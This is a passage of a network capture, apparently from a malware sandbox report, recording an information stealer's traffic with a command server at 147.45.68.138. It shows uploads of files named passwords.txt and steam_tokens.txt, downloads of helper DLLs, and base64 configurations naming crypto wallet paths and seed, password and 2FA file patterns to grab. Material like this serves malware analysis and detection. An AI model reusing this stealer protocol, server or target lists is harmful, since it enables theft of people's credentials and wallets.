61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 47 46 7a 63 33 64 76 63 6d 52 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 45 48 43 46 [TRUNCATED] Data Ascii: ------CFIEHCFIECBGCBFHIJJKContent-Disposition: form-data; name="token"56f92c6c9c9a3ad0c91cbbe5d33d1d91------CFIEHCFIECBGCBFHIJJKContent-Disposition: form-data; name="build_id"1f3c236c672ff2ffe017b396f834c66e------CFIEHCFIECBGCBFHIJJKContent-Disposition: form-data; name="file_name"cGFzc3dvcmRzLnR4dA==------CFIEHCFIECBGCBFHIJJKContent-Disposition: form-data; name="file_data"------CFIEHCFIECBGCBFHIJJK--
Aug 30, 2024 06:17:48.446933985 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 04:17:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Aug 30, 2024 06:17:48.549438953 CEST	99	OUT	GET /freebl3.dll HTTP/1.1 Host: 147.45.68.138 Connection: Keep-Alive Cache-Control: no-cache
Aug 30, 2024 06:17:48.734482050 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 04:17:48 GMT Content-Type: application/octet-stream Content-Length: 685392 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: keep-alive ETag: "6315a9f4-a7550" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Aug 30, 2024 06:17:49.207376957 CEST	99	OUT	GET /mozglue.dll HTTP/1.1 Host: 147.45.68.138 Connection: Keep-Alive Cache-Control: no-cache
Aug 30, 2024 06:17:49.398747921 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 04:17:49 GMT Content-Type: application/octet-stream Content-Length: 608080 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: keep-alive ETag: "6315a9f4-94750" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Aug 30, 2024 06:17:49.757230043 CEST	100	OUT	GET /msvcp140.dll HTTP/1.1 Host: 147.45.68.138 Connection: Keep-Alive Cache-Control: no-cache
Aug 30, 2024 06:17:49.945761919 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 04:17:49 GMT Content-Type: application/octet-stream Content-Length: 450024 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: keep-alive ETag: "6315a9f4-6dde8" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Aug 30, 2024 06:17:50.213356018 CEST	100	OUT	GET /softokn3.dll HTTP/1.1 Host: 147.45.68.138 Connection: Keep-Alive Cache-Control: no-cache
Aug 30, 2024 06:17:50.397613049 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 04:17:50 GMT Content-Type: application/octet-stream Content-Length: 257872 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: keep-alive ETag: "6315a9f4-3ef50" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Aug 30, 2024 06:17:50.497370958 CEST	104	OUT	GET /vcruntime140.dll HTTP/1.1 Host: 147.45.68.138 Connection: Keep-Alive Cache-Control: no-cache
Aug 30, 2024 06:17:50.682204962 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 04:17:50 GMT Content-Type: application/octet-stream Content-Length: 80880 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: keep-alive ETag: "6315a9f4-13bf0" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Aug 30, 2024 06:17:50.687339067 CEST	96	OUT	GET /nss3.dll HTTP/1.1 Host: 147.45.68.138 Connection: Keep-Alive Cache-Control: no-cache
Aug 30, 2024 06:17:50.873073101 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 04:17:50 GMT Content-Type: application/octet-stream Content-Length: 2046288 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: keep-alive ETag: "6315a9f4-1f3950" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Aug 30, 2024 06:17:52.318212032 CEST	181	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFBKFHIDHIIJJKECGHCF Host: 147.45.68.138 Content-Length: 1145 Connection: Keep-Alive Cache-Control: no-cache
Aug 30, 2024 06:17:53.012106895 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 04:17:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Aug 30, 2024 06:17:53.384989023 CEST	511	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIEBGIIJDGHCBGCBFIEG Host: 147.45.68.138 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 45 42 47 49 49 4a 44 47 48 43 42 47 43 42 46 49 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 36 66 39 32 63 36 63 39 63 39 61 33 61 64 30 63 39 31 63 62 62 65 35 64 33 33 64 31 64 39 31 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 42 47 49 49 4a 44 47 48 43 42 47 43 42 46 49 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 66 33 63 32 33 36 63 36 37 32 66 66 32 66 66 65 30 31 37 62 33 39 36 66 38 33 34 63 36 36 65 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 42 47 49 49 4a 44 47 48 43 42 47 43 42 46 49 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 33 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 42 47 49 49 4a 44 47 48 43 42 47 43 42 46 49 45 47 2d 2d 0d 0a Data Ascii: ------GIEBGIIJDGHCBGCBFIEGContent-Disposition: form-data; name="token"56f92c6c9c9a3ad0c91cbbe5d33d1d91------GIEBGIIJDGHCBGCBFIEGContent-Disposition: form-data; name="build_id"1f3c236c672ff2ffe017b396f834c66e------GIEBGIIJDGHCBGCBFIEGContent-Disposition: form-data; name="mode"3------GIEBGIIJDGHCBGCBFIEG--
Aug 30, 2024 06:17:53.935600042 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 04:17:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 61 38 0d 0a 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 [TRUNCATED] Data Ascii: 8a8Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzfDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxwYXNzcGhyYXNlLmpzb258MHxFeG9kdXN8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHNlZWQuc2Vjb3wwfEV4b2R1c3wxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RXhvZHVzfDF8XEV4b2R1c1xiYWNrdXBzXHwqLip8MXxFbGVjdHJvbiBDYXNofDF8XEVsZWN0cm9uQ2FzaFx3YWxsZXRzXHwqLip8MHxNdWx0aURvZ2V8MXxcTXVsdGlEb2d [TRUNCATED]
Aug 30, 2024 06:17:54.068121910 CEST	511	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBGDAAKJJDAAKFHJKJKF Host: 147.45.68.138 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 36 66 39 32 63 36 63 39 63 39 61 33 61 64 30 63 39 31 63 62 62 65 35 64 33 33 64 31 64 39 31 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 66 33 63 32 33 36 63 36 37 32 66 66 32 66 66 65 30 31 37 62 33 39 36 66 38 33 34 63 36 36 65 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 34 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 2d 2d 0d 0a Data Ascii: ------EBGDAAKJJDAAKFHJKJKFContent-Disposition: form-data; name="token"56f92c6c9c9a3ad0c91cbbe5d33d1d91------EBGDAAKJJDAAKFHJKJKFContent-Disposition: form-data; name="build_id"1f3c236c672ff2ffe017b396f834c66e------EBGDAAKJJDAAKFHJKJKFContent-Disposition: form-data; name="mode"4------EBGDAAKJJDAAKFHJKJKF--
Aug 30, 2024 06:17:54.620663881 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 04:17:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 35 65 38 0d 0a 52 6d 78 68 63 32 68 38 4a 55 52 53 53 56 5a 46 58 31 4a 46 54 55 39 57 51 55 4a 4d 52 53 56 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 69 6f 73 4b 6e 4e 6c 5a 57 51 71 4c 69 6f 73 4b 6d 4a 30 59 79 6f 75 4b 69 77 71 61 32 56 35 4b 69 34 71 4c 43 6f 79 5a 6d 45 71 4c 69 6f 73 4b 6d 4e 79 65 58 42 30 62 79 6f 75 4b 69 77 71 59 32 39 70 62 69 6f 75 4b 69 77 71 63 48 4a 70 64 6d 46 30 5a 53 6f 75 4b 69 77 71 4d 6d 5a 68 4b 69 34 71 4c 43 70 68 64 58 52 6f 4b 69 34 71 4c 43 70 73 5a 57 52 6e 5a 58 49 71 4c 69 6f 73 4b 6e 52 79 5a 58 70 76 63 69 6f 75 4b 69 77 71 63 47 46 7a 63 79 6f 75 4b 69 77 71 64 32 46 73 4b 69 34 71 4c 43 70 31 63 47 4a 70 64 43 6f 75 4b 69 77 71 59 6d 4e 6c 65 43 6f 75 4b 69 77 71 59 6d 6c 30 61 47 6c 74 59 69 6f 75 4b 69 77 71 61 47 6c 30 59 6e 52 6a 4b 69 34 71 4c 43 70 69 61 58 52 6d 62 48 6c 6c 63 69 6f 75 4b 69 77 71 61 33 56 6a 62 32 6c 75 4b 69 34 71 4c 43 70 6f 64 57 39 69 61 53 6f 75 4b 69 77 71 63 47 39 73 62 32 35 70 5a 58 67 71 4c 69 6f 73 4b 6d 74 79 59 [TRUNCATED] Data Ascii: 5e8Rmxhc2h8JURSSVZFX1JFTU9WQUJMRSVcfCp3YWxsZXQqLiosKnNlZWQqLiosKmJ0YyouKiwqa2V5Ki4qLCoyZmEqLiosKmNyeXB0byouKiwqY29pbiouKiwqcHJpdmF0ZSouKiwqMmZhKi4qLCphdXRoKi4qLCpsZWRnZXIqLiosKnRyZXpvciouKiwqcGFzcyouKiwqd2FsKi4qLCp1cGJpdCouKiwqYmNleCouKiwqYml0aGltYiouKiwqaGl0YnRjKi4qLCpiaXRmbHllciouKiwqa3Vjb2luKi4qLCpodW9iaSouKiwqcG9sb25pZXgqLiosKmtyYWtlbiouKiwqb2tleCouKiwqYmluYW5jZSouKiwqYml0ZmluZXgqLiosKmdkYXgqLiosKmV0aGVyZXVtKi4qLCpleG9kdXMqLiosKm1ldGFtYXNrKi4qLCpteWV0aGVyd2FsbGV0Ki4qLCplbGVjdHJ1bSouKiwqYml0Y29pbiouKiwqYmxvY2tjaGFpbiouKiwqY29pbm9taSouKiwqd29yZHMqLiosKm1ldGEqLiosKm1hc2sqLiosKmV0aCouKiwqcmVjb3ZlcnkqLip8MTUwfDN8KndpbmRvd3MqLCpQcm9ncmFtIEZpbGVzKiwqUHJvZ3JhbSBGaWxlcyAoeDg2KSosKkFwcERhdGEqLCpQcm9ncmFtRGF0YSosKi5sbmssKi5leGUsKi5zY3IsKi5jb20sKi5waWYsKi5tcDN8REVTS1RPUHwlREVTS1RPUCVcfCp3YWxsZXQqLiosKnNlZWQqLiosKmJ0YyouKiwqa2V5Ki4qLCoyZmEqLiosKmNyeXB0byouKiwqY29pbiouKiwqcHJpdmF0ZSouKiwqMmZhKi4qLCphdXRoKi4qLCpsZWRnZXIqLiosKnRyZXpvciouKiwqcGFzcyouKiwqd2FsKi4qLCp1cGJpdCouKiwqYmNleCouKiwqYml0aGltYiouKiwqaGl [TRUNCATED]
Aug 30, 2024 06:17:54.803004980 CEST	637	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKKJEBAAECBGDHIECAKJ Host: 147.45.68.138 Content-Length: 457 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 45 42 41 41 45 43 42 47 44 48 49 45 43 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 36 66 39 32 63 36 63 39 63 39 61 33 61 64 30 63 39 31 63 62 62 65 35 64 33 33 64 31 64 39 31 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 45 42 41 41 45 43 42 47 44 48 49 45 43 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 66 33 63 32 33 36 63 36 37 32 66 66 32 66 66 65 30 31 37 62 33 39 36 66 38 33 34 63 36 36 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 45 42 41 41 45 43 42 47 44 48 49 45 43 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 55 32 39 6d 64 46 78 54 64 47 56 68 62 56 78 7a 64 47 56 68 62 56 39 30 62 32 74 6c 62 6e 4d 75 64 48 68 [TRUNCATED] Data Ascii: ------KKKJEBAAECBGDHIECAKJContent-Disposition: form-data; name="token"56f92c6c9c9a3ad0c91cbbe5d33d1d91------KKKJEBAAECBGDHIECAKJContent-Disposition: form-data; name="build_id"1f3c236c672ff2ffe017b396f834c66e------KKKJEBAAECBGDHIECAKJContent-Disposition: form-data; name="file_name"U29mdFxTdGVhbVxzdGVhbV90b2tlbnMudHh0------KKKJEBAAECBGDHIECAKJContent-Disposition: form-data; name="file_data"N+dA------KKKJEBAAECBGDHIECAKJ--
Aug 30, 2024 06:17:55.356498957 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 04:17:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Aug 30, 2024 06:17:55.725224972 CEST	182	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBFHJEGDAFHIJKECFBKJ Host: 147.45.68.138 Content-Length: 84897 Connection: Keep-Alive Cache-Control: no-cache
